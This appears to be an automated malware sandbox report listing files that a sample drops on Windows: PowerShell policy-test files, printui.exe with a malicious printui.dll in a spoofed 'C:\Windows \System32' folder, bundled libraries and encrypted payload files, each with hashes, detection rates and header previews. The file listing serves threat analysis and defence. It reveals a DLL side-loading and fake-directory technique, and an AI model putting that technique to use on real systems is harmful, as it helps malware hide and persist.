SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gfskesqh.kjb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hbj4jjgz.5r2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jirgaqoh.bt2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mkrnqcof.t5m.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oga0p5cf.wbh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vjijcwbg.juz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x4f3wqyh.ok5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ye05kt0t.qem.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows \System32\printui.dll

Download File

Process:	C:\Users\user\Desktop\58VSNPxrI4.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14162432
Entropy (8bit):	6.553472819596516
Encrypted:	false
SSDEEP:	393216:sPsdXtBcda7nzo7Vd7Qv1CPwDvt3uFRCyGTQP76NuudqfZnXSdEVB3:sITk1
MD5:	D208410BAE05CFA96A7C83C4CE614DD1
SHA1:	2B120F3BD686CB5E7E29D338AFAB78DD9970C70C
SHA-256:	DC42B209DA59C321377F42575F4A43E38036A6482556436B2774CFD08E402668
SHA-512:	949651249C8A40223DDA7BB3183F620B7949CF0AFD54CC57F34163595AABA03594E5BAC06237D4367D025C3D05C6BC28FC81D4916EBA04D8BCB35BF6031FF235
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........t...[..[..[...ZB..[...Z...[...Z..[.).Z..[.).Z..[.).Z...[...Z..[..[x..[l).Z..[l).[..[l).Z..[Rich..[........PE..d....Neg.........." ...."................................................................`.................................................D...<....`....... ...,...........p......@}..8............................\|..@............@..H............................text.... .......".................. ..`.rdata..^....@.......&..............@..@.data..............................@....pdata...,... ......................@..@.fptable.....P......................@....rsrc........`......................@..@.reloc.......p......................@..B................................................................................................................................................................................................................

C:\Windows \System32\printui.exe

Download File

Process:	C:\Users\user\Desktop\58VSNPxrI4.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	6.336447440888565
Encrypted:	false
SSDEEP:	768:a4uHmXrH60qKdC5vI1iQfCIWVM9G4qW4ne+S/ly+PKAoXRZX6fbX57UWkCRPPA7f:Uca1KAVIPd4n+lbeRZIbSQPPA7f
MD5:	2FC3530F3E05667F8240FC77F7486E7E
SHA1:	C52CC219886F29E5076CED98D6483E28FC5CC3E0
SHA-256:	AC75AF591C08442EA453EB92F6344E930585D912894E9323DB922BCD9EDF4CD1
SHA-512:	EF78DE6A114885B55806323F09D8BC24609966D29A31C2A5AE6AD93D1F0D584D29418BA76CA2F235ED30AD8AE2C91F552C15487C559E0411E978D397C82F7046
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: pyld611114.exe, Detection: malicious, Browse Filename: dYUteuvmHn.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen29.64132.8972.20040.exe, Detection: malicious, Browse Filename: app64.exe, Detection: malicious, Browse Filename: printui.dll, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Inject5.8130.1270.16417.exe, Detection: malicious, Browse Filename: F.7z, Detection: malicious, Browse Filename: Ld0f3NDosJ.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........y..........................................................................Rich....................PE..d...0.sA.........."............................@.............................@.......E....`.......... .......................................'.......P.......@...............0..$...P$..T............................ ..............(!...............................text............................... ..`.rdata....... ......................@..@.data...x....0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..$....0......................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Windows\System32\console_zero.exe

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	664576
Entropy (8bit):	6.597455315682964
Encrypted:	false
SSDEEP:	12288:UKDPkqL1NxW6CDBPXRiD2xTph0lhSMXli6Y2ej+4J7:UQhN+9PXYDQh0lhSMXlpY2ej+
MD5:	4ECCB8F5D1EDCF18A11ABED91FF85C46
SHA1:	4CF96EF88D3D042D050CC8D963EF2141975A196A
SHA-256:	3286EDB355B9AFCB9F08CA87967001A56685D2298014C82A672EF3769E232838
SHA-512:	EC8B97CE4712CF94E9C9F5C0454FCBC52559AC4D7D076BF76E2E6A3052FBF18696A5F1BC602A70A06D5101E3F1BCD8B64995A2D71731E7CCB939FE67224924F9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~....yV..yV..yV..\|Wz.yV..}W..yV..zW..yV.zW..yV.}W..yV.\|W..yVT.xW..yV..xW..yV..xVH.yVT.pW..yVT..V..yVT.{W..yVRich..yV........................PE..d....Neg.........."....*..... ......p..........@..........................................`.................................................L...P....`...........L...........p..T...0...8...............................@............0...............................text............................... ..`.rdata..8....0......................@..@.data....3..........................@....pdata...L.......N..................@..@.fptable.....P......................@....rsrc........`......................@..@.reloc..T....p......................@..B........................................................................................................................................................................................

C:\Windows\System32\libcrypto-3-x64.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4684800
Entropy (8bit):	6.761708409908653
Encrypted:	false
SSDEEP:	98304:E1+WtBcda7nzo7Vd8qQQPQ1CPwDvt3uFGCC:gXtBcda7nzo7Vd8qQQY1CPwDvt3uFGCC
MD5:	158F0E7C4529E3867E07545C6D1174A9
SHA1:	9FF0CCCB271F0215AD24427B7254832549565154
SHA-256:	DCC1FA1A341597DDB1476E3B5B3952456F07870A26FC30B0C6E6312764BAA1FC
SHA-512:	51E79D8D0AB183046F87AA659973B45147BB1E1AE8883F688C615CCB18BF9FCCB8779DD872B01748BACD56E141BC096C2BB4CCF32EBD7A49ADC76363355E40FE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............vI..vI..vI..I..vI;DwH..vI;DsH..vI;DrH..vI;DuH..vI..wI.vI..wH..vI..vI..vI.GrHl.vI.GvH..vI.G.I..vI.GtH..vIRich..vI........PE..d...d.Lf.........." ...'..4..........4.......................................G...........`...........................................A. ... @D.@....0G.......D.LH...........@G.L.....?.T.............................?.@.............4..............................text...8.4.......4................. ..`.rdata.......4.......4.............@..@.data....t...`D..J...JD.............@....pdata..LH....D..J....D.............@..@.rsrc........0G.......F.............@..@.reloc..L....@G.......F.............@..B................................................................................................................................................................................................................................................

C:\Windows\System32\libcurl.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	588800
Entropy (8bit):	6.3852695857936554
Encrypted:	false
SSDEEP:	12288:1dkYvMQmNkYBasGpIFetxo8u3zTkIXmaKSTQP76NuudqbaRArq:1zvMQmmYB4KQ7nu3zuSTQP76NuudqbaF
MD5:	18CE47F58B4C1A9CFC1EDF7C8BF49B7C
SHA1:	E74D08AB06ED8200D7E674D8031D6DF8250DE8CB
SHA-256:	36D97F1C254832CEE9698CEA2F1A63EA98D231641FD29715EF581BE103ACE602
SHA-512:	19B2D6968095C4E8F08C66AB73E7EC5E0439712BCB2777266602EF2AD123A779395A3D44BC0C7C9945376998FB2165BC60E6BF682863A55A0CFF40C720594BDD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$............\|.X.\|.X.\|.X...X.\|.X...Y.\|.X..`X.\|.X...Y.\|.X...Y.\|.X...Y.\|.X...Y.\|.X.\|.Xh\|.X...Y.\|.X...Y.\|.X...Y.\|.X..bX.\|.X.\|.X.\|.X...Y.\|.XRich.\|.X........................PE..d...o..f.........." ...).....`......@........................................0............`..........................................Q..$...4[..T................Z........... ..0... ...T...............................@...............`............................text.............................. ..`.rdata..D...........................@..@.data....1...p...*...d..............@....pdata...Z.......\..................@..@.rsrc...............................@..@.reloc..0.... ......................@..B................................................................................................................................................................................................................

C:\Windows\System32\libiconv-2.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1851113
Entropy (8bit):	6.295735352298234
Encrypted:	false
SSDEEP:	24576:SAlxpPnBAUZLY9OVbbTiZGavkg3NyeuQ6l9fH+f2ykqZrkgecviRd7mQFz:DPnBAUZLY9OEZGaXBuQQ9e2YYUQFz
MD5:	158BC77453D382CF6679CE35DF740CC5
SHA1:	9A3C123CE4B6F6592ED50D6614387D059BFB842F
SHA-256:	CF131738F4B5FE3F42E9108E24595FC3E6573347D78E4E69EC42106C1EEBE42C
SHA-512:	6EB1455537CB4E62E9432032372FAE9CE824A48346E00BAF38EF2F840E0ED3F55ACAEE2656DA656DB00AE0BDEF808F8DA291DD10D7453815152EDA0CCFC73147
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...8.Jd....q.....& ..."............P..........f............................................. .................................................D....@..........d............P..................................(.......................p............................text..............................`.P`.data...............................@.P..rdata..............................@.`@.pdata..d...........................@.0@.xdata..............................@.0@.bss..................................`..edata..............................@.0@.idata..D...........................@.0..CRT....X.... ......................@.@..tls.........0......................@.@..rsrc........@......................@.0..reloc.......P......................@.0B/4...... ....`......................@..B/19.....m....p... ..................@..B/31......2.......4..................@..B/45.....

C:\Windows\System32\libintl-9.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	475769
Entropy (8bit):	5.442192544327632
Encrypted:	false
SSDEEP:	12288:YoSRYqB/kDraXbQTNRC6RsclS8DzT6Bam:+YY/kDraLQTNRCPWDzT6Bam
MD5:	E79E7C9D547DDBEE5C8C1796BD092326
SHA1:	8E50B296F4630F6173FC77D07EEA36433E62178A
SHA-256:	1125AC8DC0C4F5C3ED4712E0D8AD29474099FCB55BB0E563A352CE9D03EF1D78
SHA-512:	DBA65731B7ADA0AC90B4122C7B633CD8D9A54B92B2241170C6F09828554A0BC1B0F3EDF6289B6141D3441AB11AF90D6F8210A73F01964276D050E57FB94248E2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......[.H........& .....D....................(h....................................0......... ......................................................@..8....................P..p........................... 0..(....................................................text...8C.......D..................`.P`.data........`.......J..............@.`..rdata..0M...p...N...L..............@.`@.pdata..............................@.0@.xdata..d...........................@.0@.bss....P.............................`..edata..............................@.0@.idata..............................@.0..CRT....X.... ......................@.@..tls....h....0......................@.`..rsrc...8....@......................@.0..reloc..p....P......................@.0B/4...........`......................@.PB/19..........p......................@..B/31.....1:.......<..................@..B/45.....

C:\Windows\System32\libpq.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	327168
Entropy (8bit):	6.055910692008984
Encrypted:	false
SSDEEP:	6144:veJ/i9L1mle2NwGTQ46ZEEKN4zP2/SHzI4l/4OMx7apSPIYuh0L/iXmJ:gmV2NwQQ3G4zP22rOIy
MD5:	EF060E5C414B7BE5875437FF2FB8EC54
SHA1:	6DCF04DFF9B25BE556EC97660F95ACF708C0C870
SHA-256:	E6ACED8D30471F35B37ABBF172CE357B6A8F18AF5FEB342B6CFFC01D3378F2B4
SHA-512:	67BFF321BA901A0B0DC0F6C4A723D7DF35418F593E16E6193673CCE5190D76355409F676C1EA5D0CB46493F5735209089A3A52D3D716EB8187BF6E846792E2E8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........t3R..`R..`R..`[..`D..`To.aP..`To.`T..`To.a_..`To.aZ..`To.aV..`...a^..`n..aU..`R..`K..`=o.ag..`=o.aS..`=o.`S..`R.`S..`=o.aS..`RichR..`........................PE..d.....:f.........." ...&.l...........e.......................................@............`...@...................................................... ..........,"...........0.......k..T...........................pj..@...............p............................text...xj.......l.................. ..`.rdata..vT.......V...p..............@..@.data...............................@....pdata..,".......$..................@..@.rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................

C:\Windows\System32\libssl-3-x64.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	818176
Entropy (8bit):	6.269258421632734
Encrypted:	false
SSDEEP:	12288:NGbc08emtUas2F158w1T4qLgl85MNRlqnZ5ydEVB3i:NGoL9W0lJ5cR9dEVB3
MD5:	69D0FEE0CC47C3B255C317F08CE8D274
SHA1:	782BC8F64B47A9DCEDC95895154DCA60346F5DD7
SHA-256:	BA979C2DBFB35D205D9D28D97D177F33D501D954C7187330F6893BB7D0858713
SHA-512:	4955252C7220810ED2EACA002E57D25FBC17862F4878983C4351C917CF7873EB84AE00E5651583004F15A08789BE64BDB34FF20CB0E172C9C1376706DEB4AA1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5...q..q..q..x.'.c...O..s...O..\|...O..y...O..u..:...u...L..r..q..*...L......L..p...LK.p...L..p..Richq..................PE..d...d.Lf.........." ...'..................................................................`..........................................0...K...{..................Hr..............\.......T...............................@............................................text...X........................... ..`.rdata..L...........................@..@.data...8=.......8..................@....pdata..Hr.......t..................@..@.rsrc................`..............@..@.reloc..\............d..............@..B........................................................................................................................................................................................................................................

C:\Windows\System32\libwinpthread-1.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	52736
Entropy (8bit):	5.840253326728635
Encrypted:	false
SSDEEP:	768:fE20UsQSmxsJ/jPxsiFFnoCImovqcyz88rtYNChvThLaim3Yu/g/D8:cis0sP5FBQ7vU9BYshtaim3Yuo78
MD5:	9DC829C2C8962347BC9ADF891C51AC05
SHA1:	BF9251A7165BB2981E613AC5D9051F19EDB68463
SHA-256:	FFE2D56375BB4E8BDEE9037DF6BEFC5016DDD8871D0D85027314DD5792F8FDC9
SHA-512:	FD7E6F50A21CB59075DFA08C5E6275FD20723B01A23C3E24FB369F2D95A379B5AC6AE9F509AA42861D9C5114BE47CCE9FF886F0A03758BFDC3A2A9C4D75FAB56
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".....\|.....................d.............................P................ ......................................................0..P....................@..h........................... ..(....................................................text...({.......\|..................`.P`.data...............................@.P..rdata..............................@.P@.pdata..............................@.0@.xdata..............................@.0@.bss..................................p..edata..............................@.0@.idata..............................@.0..CRT....`...........................@.@..tls....h.... ......................@.`..rsrc...P....0......................@.0..reloc..h....@......................@.0B................................................................................................................................

C:\Windows\System32\ucrtbased.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1786880
Entropy (8bit):	6.056894707447503
Encrypted:	false
SSDEEP:	24576:JUV0C8E3W4JoceLErS6P0qoc6uoPrT5PgVBHmaw+zrGOzli7Gi0m9ZRXyYk:i8/B90ozghlGJ7js
MD5:	C3130CFB00549A5A92DA60E7F79F5FC9
SHA1:	56C2E8FB1AF609525B0F732BB67B806BDDAB3752
SHA-256:	EEE42EABC546E5AA760F8DF7105FCF505ABFFCB9EC4BF54398436303E407A3F8
SHA-512:	29BAB5B441484BDFAC9EC21CD4F0F7454AF05BFD7D77F7D4662AEAEAA0D3E25439D52AA341958E7896701546B4A607D3C7A32715386C78B746DFAE8529A70748
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'.S.c.=.c.=.c.=.j...P.=.c.<...=..}.b.=..}.S.=..}.'.=..}...=..}.u.=..}.b.=..}.b.=.Richc.=.........PE..d...~.!U.........." .................................................................g....`A........................................p........C..................x................... ...............................`...................H............................text............................... ..`.rdata...x.......z..................@..@.data...(Z...`...$...J..............@....pdata..x............n..............@..@.rsrc................2..............@..@.reloc...............8..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\vcruntime140d.dll

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	131920
Entropy (8bit):	6.0574531251583865
Encrypted:	false
SSDEEP:	1536:QB6NlnzaWMj6FBknM+eHLEQE9gHAWdwfP5sd4Sohg7vMHvqZecb399R0BqZEBFP:QBYl5MOcM1HAb1wM0ecb39/0BqZEjP
MD5:	F57FB935A9A76E151229F547C2204BBA
SHA1:	4021B804469816C3136B40C4CEB44C8D60ED15F5
SHA-256:	A77277AF540D411AE33D371CC6F54D7B0A1937E0C14DB7666D32C22FC5DCA9C0
SHA-512:	CD9FC3FC460EBA6A1B9F984B794940D28705ECB738DF8595C2341ABE4347141DB14A9FF637C9F902E8742F5C48BBB61DA7D5E231CC5B2BAD2E8746C5A3E3E6ED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........].AB<..B<..B<....h.@<....L.A<..B<..l<..yb..I<..yb..V<..yb..Z<..yb..C<..yb\.C<..yb..C<..RichB<..................PE..d....LZW.........." .....j...\......pg....................................... ...........`A...........................................4.......<.......................P?......t...p...T...........................................................................text....h.......j.................. ..`.rdata..F5.......6...n..............@..@.data...............................@....pdata..............................@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..t...........................@..B........................................................................................................................................................................................................................

C:\Windows\System32\winsvcf\winlogsvc

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	data
Category:	dropped
Size (bytes):	304
Entropy (8bit):	7.295206871811174
Encrypted:	false
SSDEEP:	6:a1yMwCoeim3JV9R6DuYK6YyjhqdPrKPH7rFf/sIKsIuycKFiBU9kDGko:qiKv76DDN8dPr07rKIXIuyTN9kDGko
MD5:	572F8A00881F751BD6CA0613D20E0EA8
SHA1:	CD506507CDD36CE65EE65560997CA3D6E317AA20
SHA-256:	DE1DDAD90B10E0A449B24BA76B32FBF504D2DB97CC4370A1AB8BC9602E8B5958
SHA-512:	AF68CB7DB24395FBA801ECECC204764C8B9ADC868B780734C9CEA01D261EC034B57CE2AB1A1326661EB9FA2DC1AA8D00B7EB08E9D08571DD55D1344BA55F40A5
Malicious:	false
Preview:	.....S.N....A........)x.a.m..l....w...Q7.....Y.D[.......ip...d9....;._.....H....g..?U.v.q.u..B_8....LF.....%]h8....6...E...e....a..4..(9:4iM.....g....wg.`U..&&.c.+.E.w.O.....Z...X...[.D....F.o....E......s..T.n...7.....vJ..iz...aTE$.%....M..e....U5T5f.I... ...>QD.........+i..d..3..n.

C:\Windows\System32\winsvcf\x549596.dat

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	7417856
Entropy (8bit):	7.999923823214666
Encrypted:	true
SSDEEP:	196608:T17lc7yNNvmrX2D367Dyw0b6sreztybRkUmwb6:Flg6+2L67D46s9bWA6
MD5:	ADBF946B4222BA62BDAF420D19C6E998
SHA1:	84E2DBB828D2927C8E1A3BBACEEA769404970442
SHA-256:	756205904CF6AFFD5428390B25F88D94BEB150F69852CC2BB0F49EE3AEB7FBE1
SHA-512:	AE30872DD6BCFBD866702AC8E23859BD94E1197DCCABDD5166F61CE20D694204572352C9B9270874D8BBC025E6F55171903995B0C884DC36C5C44114C8E8F59A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....Oeg..........."...'.@...>...... ..........E.........................................`... ......................................p..L.......T............@.............................................. :..(...................D................................text....?.......@..................`..`.data.......P......D..............@....rdata..@....0......................@..@.pdata.......@.......(..............@..@.xdata.......P.......,..............@..@.bss....p....`...........................edata..L....p.......0..............@..@.idata..T............2..............@....CRT....X............<..............@....tls.................>..............@....reloc...............@..............@..B........................................................................................................................................................................

C:\Windows\System32\x939048.dat

Download File

Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1940480
Entropy (8bit):	6.556048550506196
Encrypted:	false
SSDEEP:	24576:8Eqf7bCPu5W7Ih0lhSMXlFnewf6oV9h0lhSMXln98GzsJP8GLC8h0lhSMXl8z917:8bffWuWRewfv0CP8NBMj
MD5:	DD6B814D79B44D3A17EF1175C724F199
SHA1:	4B50AD258D2D177F22ED06CE3494DEA67C180B22
SHA-256:	ED6BF39B821CF5ECB2E73B6021913B9D6F0FC73A82EE9E9C8B64B2A0EB7E917C
SHA-512:	60A92D0FE216ECCF001ABC9D90AB21D459C1442B999D3719129C17814BF529F19EDCB35469ED79691072747E0F57C4C417600B8A398BFC1131F42D324A5FDED2
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......l4.v(U.%(U.%(U.%Z.$.U.%Z.$.U.%9.$"U.%9.$&U.%9.$HU.%..$U.%Z.$<U.%8.$%U.%G.$U.%Z.$'U.%(U.%#T.%..$9U.%..$)U.%..z%)U.%..$)U.%Rich(U.%................PE..d....Neg.........." ...*..................................................................`.............................................P...@................@.. y..................p...8.......................(...0...@............@...............................text....,.......................... ..`.rdata.......@.......2..............@..@.data...LO.......0..................@....pdata.. y...@...z..................@..@.fptable............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................

C:\Windows\System32\zlib1.dll

Download File

